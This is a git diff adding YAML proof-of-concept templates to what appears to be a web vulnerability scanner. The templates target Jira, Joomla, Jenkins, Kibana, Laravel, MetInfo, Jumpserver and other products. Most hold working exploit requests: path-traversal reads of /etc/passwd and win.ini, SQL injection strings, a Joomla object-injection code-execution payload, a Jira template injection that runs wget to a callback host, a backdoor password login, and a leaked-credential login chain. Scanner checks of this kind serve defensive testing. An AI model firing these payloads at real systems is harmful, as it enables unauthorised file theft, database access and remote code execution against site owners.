--git a/WebScan/pocs/jeewms-showordownbyurl-fileread.yml b/WebScan/pocs/jeewms-showordownbyurl-fileread.yml new file mode 100644 index 0000000..7aba447 --- /dev/null +++ b/WebScan/pocs/jeewms-showordownbyurl-fileread.yml @@ -0,0 +1,16 @@ +name: poc-yaml-jeewms-showordownbyurl-fileread +groups: + linux: + - method: GET + path: /systemController/showOrDownByurl.do?down=&dbPath=../../../../../../etc/passwd + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + windows: + - method: GET + path: /systemController/showOrDownByurl.do?down=&dbPath=../../../../../Windows/win.ini + expression: | + response.status == 200 && response.body.bcontains(b"for 16-bit app support") +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://mp.weixin.qq.com/s/ylOuWc8elD2EtM-1LiJp9g diff --git a/WebScan/pocs/jellyfin-file-read-cve-2021-21402.yml b/WebScan/pocs/jellyfin-file-read-cve-2021-21402.yml new file mode 100644 index 0000000..bba59e1 --- /dev/null +++ b/WebScan/pocs/jellyfin-file-read-cve-2021-21402.yml @@ -0,0 +1,10 @@ +name: poc-yaml-jellyfin-file-read-cve-2021-21402 +rules: + - method: GET + path: "/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/" + expression: | + response.status == 200 && response.body.bcontains(b"for 16-bit app support") +detail: + author: Print1n(https://github.com/Print1n) + links: + - https://blog.csdn.net/qq_41503511/article/details/116274406 diff --git a/WebScan/pocs/jenkins-cve-2018-1000600.yml b/WebScan/pocs/jenkins-cve-2018-1000600.yml new file mode 100644 index 0000000..663f427 --- /dev/null +++ b/WebScan/pocs/jenkins-cve-2018-1000600.yml @@ -0,0 +1,13 @@ +name: poc-yaml-jenkins-cve-2018-1000600 +set: + reverse: newReverse() + reverseUrl: reverse.url +rules: + - method: GET + path: /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl={{reverseUrl}} + expression: | + response.status == 200 && reverse.wait(5) +detail: + author: PickledFish(https://github.com/PickledFish) + links: + - https://devco.re/blog/2019/01/16/hacking-Jenkins-part1-play-with-dynamic-routing/ diff --git a/WebScan/pocs/jetty-cve-2021-28164.yml b/WebScan/pocs/jetty-cve-2021-28164.yml new file mode 100644 index 0000000..219e2c2 --- /dev/null +++ b/WebScan/pocs/jetty-cve-2021-28164.yml @@ -0,0 +1,11 @@ +name: poc-yaml-jetty-cve-2021-28164 +rules: + - method: GET + path: /%2e/WEB-INF/web.xml + follow_redirects: false + expression: + response.status == 200 && response.content_type == "application/xml" && response.body.bcontains(b"") +detail: + author: Sup3rm4nx0x (https://github.com/Sup3rm4nx0x) + links: + - https://www.linuxlz.com/aqld/2309.html diff --git a/WebScan/pocs/jira-cve-2019-11581.yml b/WebScan/pocs/jira-cve-2019-11581.yml new file mode 100644 index 0000000..4248f95 --- /dev/null +++ b/WebScan/pocs/jira-cve-2019-11581.yml @@ -0,0 +1,23 @@ +name: poc-yaml-jira-cve-2019-11581 +set: + reverse: newReverse() + reverseUrl: reverse.url +rules: + - method: GET + path: /secure/ContactAdministrators!default.jspa + follow_redirects: false + expression: | + response.status == 200 + search: name="atlassian-token" content="(?P.+?)" + - method: POST + path: /secure/ContactAdministrators.jspa + body: >- + from=admin%40163.com&subject=%24i18n.getClass%28%29.forName%28%27java.lang.Runtime%27%29.getMethod%28%27getRuntime%27%2Cnull%29.invoke%28null%2Cnull%29.exec%28%27wget+{{reverseUrl}}+%27%29.waitFor%28%29&details=exange%20website%20links&atl_token={{token}}&%E5%8F%91%E9%80%81=%E5%8F%91%E9%80%81 + follow_redirects: false + expression: | + response.status == 302 && reverse.wait(5) +detail: + author: harris2015(https://github.com/harris2015) + Affected Version: "cve-2019-11581" + links: + - https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html diff --git a/WebScan/pocs/jira-cve-2019-8442.yml b/WebScan/pocs/jira-cve-2019-8442.yml new file mode 100644 index 0000000..503fe48 --- /dev/null +++ b/WebScan/pocs/jira-cve-2019-8442.yml @@ -0,0 +1,11 @@ +name: poc-yaml-jira-cve-2019-8442 +rules: + - method: GET + path: "/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml" + expression: | + response.status == 200 && response.body.bcontains(bytes(string(b"com.atlassian.jira"))) && response.content_type.contains("application/xml") +detail: + author: pa55w0rd(www.pa55w0rd.online/) + Affected Version: "<7.13.4, 8.00-8.0.4, 8.1.0-8.1.1" + links: + - https://nvd.nist.gov/vuln/detail/CVE-2019-8442 diff --git a/WebScan/pocs/jira-cve-2019-8449.yml b/WebScan/pocs/jira-cve-2019-8449.yml new file mode 100644 index 0000000..3f83212 --- /dev/null +++ b/WebScan/pocs/jira-cve-2019-8449.yml @@ -0,0 +1,10 @@ +name: poc-yaml-jira-cve-2019-8449 +rules: + - method: GET + path: /rest/api/latest/groupuserpicker?query=testuser12345&maxResults=50&showAvatar=false + expression: | + response.status == 200 && response.content_type.icontains("json") && response.headers["X-AREQUESTID"] != "" && response.body.bcontains(b"total") && response.body.bcontains(b"groups") && response.body.bcontains(b"header") && response.body.bcontains(b"users") +detail: + author: MaxSecurity(https://github.com/MaxSecurity) + links: + - https://xz.aliyun.com/t/7219 diff --git a/WebScan/pocs/jira-cve-2020-14179.yml b/WebScan/pocs/jira-cve-2020-14179.yml new file mode 100644 index 0000000..d15d660 --- /dev/null +++ b/WebScan/pocs/jira-cve-2020-14179.yml @@ -0,0 +1,11 @@ +name: poc-yaml-jira-cve-2020-14179 +rules: + - method: GET + path: /secure/QueryComponent!Default.jspa + follow_redirects: false + expression: | + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"com.atlassian.jira") +detail: + author: harris2015(https://github.com/harris2015) + links: + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14179 diff --git a/WebScan/pocs/jira-cve-2020-14181.yml b/WebScan/pocs/jira-cve-2020-14181.yml new file mode 100644 index 0000000..3aaa28b --- /dev/null +++ b/WebScan/pocs/jira-cve-2020-14181.yml @@ -0,0 +1,14 @@ +name: poc-yaml-jira-cve-2020-14181 +set: + r: randomLowercase(8) +rules: + - method: GET + path: /secure/ViewUserHover.jspa?username={{r}} + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes("/secure/ViewProfile.jspa?name=" + r)) && response.body.bcontains(bytes("com.atlassian.jira")) +detail: + author: whwlsfb(https://github.com/whwlsfb) + links: + - https://www.tenable.com/cve/CVE-2020-14181 + - https://twitter.com/ptswarm/status/1318914772918767619 diff --git a/WebScan/pocs/jira-ssrf-cve-2019-8451.yml b/WebScan/pocs/jira-ssrf-cve-2019-8451.yml new file mode 100644 index 0000000..ac5b5ee --- /dev/null +++ b/WebScan/pocs/jira-ssrf-cve-2019-8451.yml @@ -0,0 +1,19 @@ +name: poc-yaml-jira-ssrf-cve-2019-8451 +set: + originScheme: request.url.scheme + originHost: request.url.host + reverse: newReverse() + reverseHost: reverse.url.host + reverseURL: reverse.url.path +rules: + - method: GET + path: >- + /plugins/servlet/gadgets/makeRequest?url={{originScheme}}://{{originHost}}@{{reverseHost}}{{reverseURL}} + headers: + X-Atlassian-Token: no-check + expression: | + reverse.wait(5) +detail: + author: jingling(https://github.com/shmilylty) + links: + - https://jira.atlassian.com/browse/JRASERVER-69793 diff --git a/WebScan/pocs/joomla-cnvd-2019-34135-rce.yml b/WebScan/pocs/joomla-cnvd-2019-34135-rce.yml new file mode 100644 index 0000000..04dd783 --- /dev/null +++ b/WebScan/pocs/joomla-cnvd-2019-34135-rce.yml @@ -0,0 +1,27 @@ +name: poc-yaml-joomla-cnvd-2019-34135-rce +set: + r1: randomLowercase(10) + r2: randomLowercase(10) +rules: + - method: GET + path: / + headers: + Content-Type: application/x-www-form-urlencoded + follow_redirects: true + expression: | + response.status == 200 + search: \S{32})" + - method: POST + path: / + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + username=%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0&{{token}}=1&password=AAA%22%3Bs%3A11%3A%22maonnalezzo%22%3AO%3A21%3A%22JDatabaseDriverMysqli%22%3A3%3A%7Bs%3A4%3A%22%5C0%5C0%5C0a%22%3BO%3A17%3A%22JSimplepieFactory%22%3A0%3A%7B%7Ds%3A21%3A%22%5C0%5C0%5C0disconnectHandlers%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22SimplePie%22%3A5%3A%7Bs%3A8%3A%22sanitize%22%3BO%3A20%3A%22JDatabaseDriverMysql%22%3A0%3A%7B%7Ds%3A5%3A%22cache%22%3Bb%3A1%3Bs%3A19%3A%22cache_name_function%22%3Bs%3A6%3A%22printf%22%3Bs%3A10%3A%22javascript%22%3Bi%3A9999%3Bs%3A8%3A%22feed_url%22%3Bs%3A43%3A%22http%3A%2F%2FRayTest.6666%2F%3B{{r1}}%25%25{{r2}}%22%3B%7Di%3A1%3Bs%3A4%3A%22init%22%3B%7D%7Ds%3A13%3A%22%5C0%5C0%5C0connection%22%3Bi%3A1%3B%7Ds%3A6%3A%22return%22%3Bs%3A102%3A&option=com_users&task=user.login + follow_redirects: true + expression: | + response.body.bcontains(bytes(r1 + "%" + r2)) +detail: + author: X.Yang + Joomla_version: 3.0.0,3.4.6 + links: + - https://www.exploit-db.com/exploits/47465 diff --git a/WebScan/pocs/joomla-component-vreview-sql.yml b/WebScan/pocs/joomla-component-vreview-sql.yml new file mode 100644 index 0000000..63de9d9 --- /dev/null +++ b/WebScan/pocs/joomla-component-vreview-sql.yml @@ -0,0 +1,18 @@ +name: poc-yaml-joomla-component-vreview-sql +set: + r1: randomInt(800000000, 1000000000) +rules: + - method: POST + path: /index.php?option=com_vreview&task=displayReply + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + profileid=-8511 OR 1 GROUP BY CONCAT(0x7e,md5({{r1}}),0x7e,FLOOR(RAND(0)*2)) HAVING MIN(0)# + follow_redirects: true + expression: | + response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31))) +detail: + author: 南方有梦(https://github.com/hackgov) + Affected Version: "1.9.11" + links: + - https://www.exploit-db.com/exploits/46227 diff --git a/WebScan/pocs/joomla-cve-2015-7297-sqli.yml b/WebScan/pocs/joomla-cve-2015-7297-sqli.yml new file mode 100644 index 0000000..62786cc --- /dev/null +++ b/WebScan/pocs/joomla-cve-2015-7297-sqli.yml @@ -0,0 +1,10 @@ +name: poc-yaml-joomla-cve-2015-7297-sqli +rules: + - method: GET + path: /index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(8888)),1) + expression: response.body.bcontains(b"cf79ae6addba60ad018347359bd144d2") +detail: + links: + - https://www.exploit-db.com/exploits/38797 + - http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html + - https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/ \ No newline at end of file diff --git a/WebScan/pocs/joomla-cve-2017-8917-sqli.yml b/WebScan/pocs/joomla-cve-2017-8917-sqli.yml new file mode 100644 index 0000000..ad13de3 --- /dev/null +++ b/WebScan/pocs/joomla-cve-2017-8917-sqli.yml @@ -0,0 +1,8 @@ +name: poc-yaml-joomla-cve-2017-8917-sqli +rules: + - method: GET + path: "/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,md5(8888)),1)" + expression: response.body.bcontains(b"cf79ae6addba60ad018347359bd144d2") +detail: + links: + - https://github.com/vulhub/vulhub/tree/master/joomla/CVE-2017-8917 \ No newline at end of file diff --git a/WebScan/pocs/joomla-cve-2018-7314-sql.yml b/WebScan/pocs/joomla-cve-2018-7314-sql.yml new file mode 100644 index 0000000..15fa11a --- /dev/null +++ b/WebScan/pocs/joomla-cve-2018-7314-sql.yml @@ -0,0 +1,13 @@ +name: poc-yaml-joomla-cve-2018-7314-sql +set: + r1: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /index.php?option=com_prayercenter&task=confirm&id=1&sessionid=1' AND EXTRACTVALUE(22,CONCAT(0x7e,md5({{r1}})))-- X + expression: | + response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31))) +detail: + author: 南方有梦(http://github.com/hackgov) + Affected Version: "3.0.2" + links: + - https://www.exploit-db.com/exploits/44160 diff --git a/WebScan/pocs/joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml b/WebScan/pocs/joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml new file mode 100644 index 0000000..30888c4 --- /dev/null +++ b/WebScan/pocs/joomla-ext-zhbaidumap-cve-2018-6605-sqli.yml @@ -0,0 +1,20 @@ +name: poc-yaml-joomla-ext-zhbaidumap-cve-2018-6605-sqli +set: + rand: randomInt(2000000000, 2100000000) +rules: + - method: POST + path: >- + /index.php?option=com_zhbaidumap&no_html=1&format=raw&task=getPlacemarkDetails + headers: + Content-Type: application/x-www-form-urlencoded + body: >- + id=-1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,md5({{rand}}),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+ + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) && response.body.bcontains(b"dataexists") +detail: + author: leezp + Affected Version: "zhBaidumap plugin 3.0.0.*" + links: + - https://www.exploit-db.com/exploits/43974 + - https://mp.weixin.qq.com/s?__biz=MzAxODg1MDMwOQ==&mid=2247489109&idx=1&sn=0c9a3388e4ac1389897b4449fb3afNULL0&chksm=9bcea13facb928293ac06fede04f15d564b60a5e8ad26208f28ebe175017aa3d2144617f2b60&mpshare=1&scene=23&srcid=0418r0yqNrZ1hyGCdDHl8EK1#rd \ No newline at end of file diff --git a/WebScan/pocs/jumpserver-unauth-rce.yml b/WebScan/pocs/jumpserver-unauth-rce.yml index 041832d..36d9752 100644 --- a/WebScan/pocs/jumpserver-unauth-rce.yml +++ b/WebScan/pocs/jumpserver-unauth-rce.yml @@ -1,17 +1,29 @@ name: poc-yaml-jumpserver-unauth-rce set: r1: randomLowercase(5) -rules: - - method: GET - path: /api/v1/authentication/connection-token/ - follow_redirects: false - expression: | - response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated") - - method: GET - path: /api/v1/authentication/connection-token/?user-only={{r1}} - follow_redirects: false - expression: | - response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"") +groups: + users: + - method: GET + path: /api/v1/users/connection-token/ + follow_redirects: false + expression: | + response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated") + - method: GET + path: /api/v1/users/connection-token/?user-only={{r1}} + follow_redirects: false + expression: | + response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"") + authentication: + - method: GET + path: /api/v1/authentication/connection-token/ + follow_redirects: false + expression: | + response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated") + - method: GET + path: /api/v1/authentication/connection-token/?user-only={{r1}} + follow_redirects: false + expression: | + response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"") detail: author: mvhz81 info: jumpserver unauth read logfile + jumpserver rce diff --git a/WebScan/pocs/jumpserver-unauth-rce2.yml b/WebScan/pocs/jumpserver-unauth-rce2.yml deleted file mode 100644 index 353329d..0000000 --- a/WebScan/pocs/jumpserver-unauth-rce2.yml +++ /dev/null @@ -1,21 +0,0 @@ -name: poc-yaml-jumpserver-unauth-rce -set: - r1: randomLowercase(5) -rules: - - method: GET - path: /api/v1/users/connection-token/ - follow_redirects: false - expression: | - response.status == 401 && response.content_type.contains("application/json") && response.body.bcontains(b"not_authenticated") - - method: GET - path: /api/v1/users/connection-token/?user-only={{r1}} - follow_redirects: false - expression: | - response.status == 404 && response.content_type.contains("application/json") && response.body.bcontains(b"\"\"") -detail: - author: mvhz81 - info: jumpserver unauth read logfile + jumpserver rce - links: - - https://s.tencent.com/research/bsafe/1228.html - - https://mp.weixin.qq.com/s/KGRU47o7JtbgOC9xwLJARw - - https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh diff --git a/WebScan/pocs/jupyter-notebook-unauthorized-access.yml b/WebScan/pocs/jupyter-notebook-unauthorized-access.yml new file mode 100644 index 0000000..6bb61bf --- /dev/null +++ b/WebScan/pocs/jupyter-notebook-unauthorized-access.yml @@ -0,0 +1,11 @@ +name: poc-yaml-jupyter-notebook-unauthorized-access +rules: + - method: GET + path: "/terminals/3" + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(b"terminals/websocket") && !response.body.bcontains(b"Password:") +detail: + author: bufsnake(https://github.com/bufsnake) + links: + - https://vulhub.org/#/environments/jupyter/notebook-rce/ diff --git a/WebScan/pocs/kafka-manager-unauth.yml b/WebScan/pocs/kafka-manager-unauth.yml new file mode 100644 index 0000000..daa460c --- /dev/null +++ b/WebScan/pocs/kafka-manager-unauth.yml @@ -0,0 +1,11 @@ +name: poc-yaml-kafka-manager-unauth +rules: + - method: GET + path: / + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"Kafka Manager") && response.body.bcontains(b"Kafka Manager") && response.body.bcontains(b"Add Cluster") +detail: + author: Aquilao(https://github.com/Aquilao) + links: + - https://blog.csdn.net/qq_36923426/article/details/111361158 diff --git a/WebScan/pocs/kibana-cve-2018-17246.yml b/WebScan/pocs/kibana-cve-2018-17246.yml new file mode 100644 index 0000000..e2e74ec --- /dev/null +++ b/WebScan/pocs/kibana-cve-2018-17246.yml @@ -0,0 +1,13 @@ +name: poc-yaml-kibana-cve-2018-17246 +rules: + - method: GET + path: /api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd + follow_redirects: false + expression: | + response.headers["kbn-name"] == "kibana" && response.content_type.contains("application/json") && response.body.bcontains(bytes("\"statusCode\":500")) && response.body.bcontains(bytes("\"message\":\"An internal server error occurred\"")) +detail: + author: canc3s(https://github.com/canc3s) + kibana_version: before 6.4.3 and 5.6.13 + links: + - https://nvd.nist.gov/vuln/detail/CVE-2018-17246 + - https://github.com/vulhub/vulhub/blob/master/kibana/CVE-2018-17246/README.md diff --git a/WebScan/pocs/kibana-unauth.yml b/WebScan/pocs/kibana-unauth.yml new file mode 100644 index 0000000..eaebc4e --- /dev/null +++ b/WebScan/pocs/kibana-unauth.yml @@ -0,0 +1,11 @@ +name: poc-yaml-kibana-unauth +rules: + - method: GET + path: /app/kibana + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b".kibanaWelcomeView") +detail: + author: Isaac(https://github.com/IsaacQiang) + links: + - https://zhuanlan.zhihu.com/p/61215662 \ No newline at end of file diff --git a/WebScan/pocs/kingdee-eas-directory-traversal.yml b/WebScan/pocs/kingdee-eas-directory-traversal.yml new file mode 100644 index 0000000..58197eb --- /dev/null +++ b/WebScan/pocs/kingdee-eas-directory-traversal.yml @@ -0,0 +1,14 @@ +name: poc-yaml-kingdee-eas-directory-traversal +groups: + kingdee1: + - method: GET + path: /appmonitor/protected/selector/server_file/files?folder=C://&suffix= + expression: response.status == 200 && response.headers["content-type"].contains("json") && response.body.bcontains(b"{\"name\":\"Windows\",\"path\":\"C:\\\\Windows\",\"folder\":true}") + kingdee2: + - method: GET + path: /appmonitor/protected/selector/server_file/files?folder=/&suffix= + expression: response.status == 200 && response.headers["content-type"].contains("json") && response.body.bcontains(b"{\"name\":\"root\",\"path\":\"/root\",\"folder\":true}") +detail: + author: iak3ec(https://github.com/nu0l) + links: + - https://github.com/nu0l/poc-wiki/blob/main/%E9%87%91%E8%9D%B6OA%20server_file%20%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%BC%8F%E6%B4%9E.md diff --git a/WebScan/pocs/kong-cve-2020-11710-unauth.yml b/WebScan/pocs/kong-cve-2020-11710-unauth.yml new file mode 100644 index 0000000..733f05e --- /dev/null +++ b/WebScan/pocs/kong-cve-2020-11710-unauth.yml @@ -0,0 +1,14 @@ +name: poc-yaml-kong-cve-2020-11710-unauth +rules: + - method: GET + path: / + expression: | + response.status == 200 && response.body.bcontains(b"kong_env") + - method: GET + path: /status + expression: | + response.status == 200 && response.body.bcontains(b"kong_db_cache_miss") +detail: + author: Loneyer + links: + - https://mp.weixin.qq.com/s/Ttpe63H9lQe87Uk0VOyMFw diff --git a/WebScan/pocs/kubernetes-unauth.yml b/WebScan/pocs/kubernetes-unauth.yml new file mode 100644 index 0000000..557a198 --- /dev/null +++ b/WebScan/pocs/kubernetes-unauth.yml @@ -0,0 +1,10 @@ +name: poc-yaml-kubernetes-unauth +rules: + - method: GET + path: /api/v1/nodes + expression: | + response.status == 200 && response.content_type.contains("application/json") && response.body.bcontains(b"\"kubeletVersion\": \"v") && response.body.bcontains(b"\"containerRuntimeVersion\"") +detail: + author: mumu0215(https://github.com/mumu0215) + links: + - http://luckyzmj.cn/posts/15dff4d3.html diff --git a/WebScan/pocs/kyan-network-monitoring-account-password-leakage.yml b/WebScan/pocs/kyan-network-monitoring-account-password-leakage.yml new file mode 100644 index 0000000..87b1049 --- /dev/null +++ b/WebScan/pocs/kyan-network-monitoring-account-password-leakage.yml @@ -0,0 +1,16 @@ +name: poc-yaml-kyan-network-monitoring-account-password-leakage +rules: + - method: GET + path: /hosts + expression: "true" + search: Password=(?P.+) + - method: POST + path: /login.php + body: user=admin&passwd={{pass}} + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(b"设备管理系统") && response.body.bcontains(b"context.php") && response.body.bcontains(b"left.php") +detail: + author: B1anda0(https://github.com/B1anda0) + links: + - https://mp.weixin.qq.com/s/6phWjDrGG0pCpGuCdLusIg diff --git a/WebScan/pocs/landray-oa-custom-jsp-fileread-2.yml b/WebScan/pocs/landray-oa-custom-jsp-fileread-2.yml deleted file mode 100644 index f7d39e7..0000000 --- a/WebScan/pocs/landray-oa-custom-jsp-fileread-2.yml +++ /dev/null @@ -1,11 +0,0 @@ -name: poc-yaml-landray-oa-custom-jsp-fileread -rules: - - method: POST - path: /sys/ui/extend/varkind/custom.jsp - body: var={"body":{"file":"file:///c://windows/win.ini"}} - expression: | - response.status == 200 && response.body.bcontains(b"for 16-bit app support") -detail: - author: B1anda0(https://github.com/B1anda0) - links: - - https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw \ No newline at end of file diff --git a/WebScan/pocs/landray-oa-custom-jsp-fileread.yml b/WebScan/pocs/landray-oa-custom-jsp-fileread.yml index e513a88..e76745a 100644 --- a/WebScan/pocs/landray-oa-custom-jsp-fileread.yml +++ b/WebScan/pocs/landray-oa-custom-jsp-fileread.yml @@ -1,11 +1,18 @@ name: poc-yaml-landray-oa-custom-jsp-fileread -rules: - - method: POST - path: /sys/ui/extend/varkind/custom.jsp - body: var={"body":{"file":"file:///etc/passwd"}} - expression: | - response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +groups: + linux: + - method: POST + path: /sys/ui/extend/varkind/custom.jsp + body: var={"body":{"file":"file:///etc/passwd"}} + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) + windows: + - method: POST + path: /sys/ui/extend/varkind/custom.jsp + body: var={"body":{"file":"file:///c://windows/win.ini"}} + expression: | + response.status == 200 && response.body.bcontains(b"for 16-bit app support") detail: author: B1anda0(https://github.com/B1anda0) links: - - https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw \ No newline at end of file + - https://mp.weixin.qq.com/s/TkUZXKgfEOVqoHKBr3kNdw diff --git a/WebScan/pocs/laravel-cve-2021-3129.yml b/WebScan/pocs/laravel-cve-2021-3129.yml new file mode 100644 index 0000000..feb735a --- /dev/null +++ b/WebScan/pocs/laravel-cve-2021-3129.yml @@ -0,0 +1,23 @@ +name: poc-yaml-laravel-cve-2021-3129 +set: + r: randomLowercase(12) +rules: + - method: POST + path: /_ignition/execute-solution + headers: + Content-Type: application/json + body: |- + { + "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", + "parameters": { + "variableName": "username", + "viewFile": "{{r}}" + } + } + follow_redirects: true + expression: > + response.status == 500 && response.body.bcontains(bytes("file_get_contents(" + string(r) + ")")) && response.body.bcontains(bytes("failed to open stream")) +detail: + author: Jarcis-cy(https://github.com/Jarcis-cy) + links: + - https://github.com/vulhub/vulhub/blob/master/laravel/CVE-2021-3129 diff --git a/WebScan/pocs/maccms-rce.yml b/WebScan/pocs/maccms-rce.yml new file mode 100644 index 0000000..255a562 --- /dev/null +++ b/WebScan/pocs/maccms-rce.yml @@ -0,0 +1,14 @@ +name: poc-yaml-maccms-rce +set: + r: randomInt(800000000, 1000000000) +rules: + - method: GET + path: /index.php?m=vod-search&wd={if-A:printf(md5({{r}}))}{endif-A} + follow_redirects: false + expression: | + response.body.bcontains(bytes(md5(string(r)))) +detail: + Affected Version: "maccms8.x" + author: hanxiansheng26(https://github.com/hanxiansheng26) + links: + - https://www.cnblogs.com/test404/p/7397755.html \ No newline at end of file diff --git a/WebScan/pocs/maccmsv10-backdoor.yml b/WebScan/pocs/maccmsv10-backdoor.yml new file mode 100644 index 0000000..323312e --- /dev/null +++ b/WebScan/pocs/maccmsv10-backdoor.yml @@ -0,0 +1,15 @@ +name: poc-yaml-maccmsv10-backdoor +rules: + - method: POST + path: /extend/Qcloud/Sms/Sms.php + headers: + Content-Type: application/x-www-form-urlencoded + body: getpwd=WorldFilledWithLove + follow_redirects: false + expression: > + response.status == 200 && response.body.bcontains(b"扫描后门") && response.body.bcontains(b"反弹端口") && response.body.bcontains(b"文件管理") +detail: + author: FiveAourThe(https://github.com/FiveAourThe) + links: + - https://www.cnblogs.com/jinqi520/p/11596500.html + - https://www.t00ls.net/thread-53291-1-1.html diff --git a/WebScan/pocs/metinfo-cve-2019-16996-sqli.yml b/WebScan/pocs/metinfo-cve-2019-16996-sqli.yml new file mode 100644 index 0000000..2fe015e --- /dev/null +++ b/WebScan/pocs/metinfo-cve-2019-16996-sqli.yml @@ -0,0 +1,16 @@ +name: poc-yaml-metinfo-cve-2019-16996-sqli +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: GET + path: >- + /admin/?n=product&c=product_admin&a=dopara&app_type=shop&id=1%20union%20SELECT%201,2,3,{{r1}}*{{r2}},5,6,7%20limit%205,1%20%23 + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: JingLing(https://hackfun.org/) + metinfo_version: 7.0.0beta + links: + - https://y4er.com/post/metinfo7-sql-tips/#sql-injection-1 \ No newline at end of file diff --git a/WebScan/pocs/metinfo-cve-2019-16997-sqli.yml b/WebScan/pocs/metinfo-cve-2019-16997-sqli.yml new file mode 100644 index 0000000..fac60ec --- /dev/null +++ b/WebScan/pocs/metinfo-cve-2019-16997-sqli.yml @@ -0,0 +1,18 @@ +name: poc-yaml-metinfo-cve-2019-16997-sqli +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: POST + path: /admin/?n=language&c=language_general&a=doExportPack + headers: + Content-Type: application/x-www-form-urlencoded + body: 'appno= 1 union SELECT {{r1}}*{{r2}},1&editor=cn&site=web' + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: JingLing(https://hackfun.org/) + metinfo_version: 7.0.0beta + links: + - https://y4er.com/post/metinfo7-sql-tips/#sql-injection-2 \ No newline at end of file diff --git a/WebScan/pocs/metinfo-cve-2019-17418-sqli.yml b/WebScan/pocs/metinfo-cve-2019-17418-sqli.yml new file mode 100644 index 0000000..05a0ec4 --- /dev/null +++ b/WebScan/pocs/metinfo-cve-2019-17418-sqli.yml @@ -0,0 +1,16 @@ +name: poc-yaml-metinfo-cve-2019-17418-sqli +set: + r1: randomInt(40000, 44800) + r2: randomInt(40000, 44800) +rules: + - method: GET + path: >- + /admin/?n=language&c=language_general&a=doSearchParameter&editor=cn&word=search&appno=0+union+select+{{r1}}*{{r2}},1--+&site=admin + follow_redirects: true + expression: | + response.status == 200 && response.body.bcontains(bytes(string(r1 * r2))) +detail: + author: JingLing(https://hackfun.org/) + metinfo_version: 7.0.0beta + links: + - https://github.com/evi1code/Just-for-fun/issues/2 diff --git a/WebScan/pocs/metinfo-file-read.yml b/WebScan/pocs/metinfo-file-read.yml new file mode 100644 index 0000000..e4db80c --- /dev/null +++ b/WebScan/pocs/metinfo-file-read.yml @@ -0,0 +1,9 @@ +name: poc-yaml-metinfo-file-read +rules: + - method: GET + path: "/include/thumb.php?dir=http/.....///.....///config/config_db.php" + expression: response.status == 200 && response.body.bcontains(b"con_db_pass") && response.body.bcontains(b"con_db_host") && response.body.bcontains(b"con_db_name") +detail: + author: amos1 + links: + - https://www.cnblogs.com/-qing-/p/10889467.html diff --git a/WebScan/pocs/metinfo-lfi-cnvd-2018-13393.yml b/WebScan/pocs/metinfo-lfi-cnvd-2018-13393.yml new file mode 100644 index 0000000..e2abdf5 --- /dev/null +++ b/WebScan/pocs/metinfo-lfi-cnvd-2018-13393.yml @@ -0,0 +1,12 